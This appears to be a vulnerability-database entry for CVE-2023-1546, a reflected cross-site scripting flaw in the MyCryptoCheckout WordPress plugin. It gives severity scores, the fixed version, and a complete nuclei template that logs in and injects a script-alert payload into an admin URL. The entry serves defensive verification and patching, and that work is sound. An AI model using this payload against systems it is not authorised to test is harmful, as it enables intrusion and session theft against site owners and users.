CVE-2023-1546· plainviewplugins / mycryptocheckout· CWE-79
MyCryptoCheckout < 2.124 - Cross-Site Scripting
mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
59%of all CVEs are less likely
Readycheck to confirm it
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Fixed in version 2.124
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script>
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "scriptalert(/XSS/)/script") and contains(body_2, "mycryptocheckout")Run it with nuclei: nuclei -id CVE-2023-1546 -u <target>
The full check
id: CVE-2023-1546
info:
name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
author: Harsh
severity: medium
description: |
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 2.124
reference:
- https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
- https://nvd.nist.gov/vuln/detail/CVE-2023-1546
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1546
cwe-id: CWE-79
epss-score: 0.0085
epss-percentile: 0.58475
cpe: cpe:2.3:a:plainviewplugins:mycryptocheckout:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: plainviewplugins
product: mycryptocheckout
framework: wordpress
tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated,plainviewplugins,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "scriptalert(/XSS/)/script")'
- 'contains(body_2, "mycryptocheckout")'
condition: andReferences
- https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
- https://nvd.nist.gov/vuln/detail/CVE-2023-1546
Use this check only on systems you are authorised to test. Where the data comes from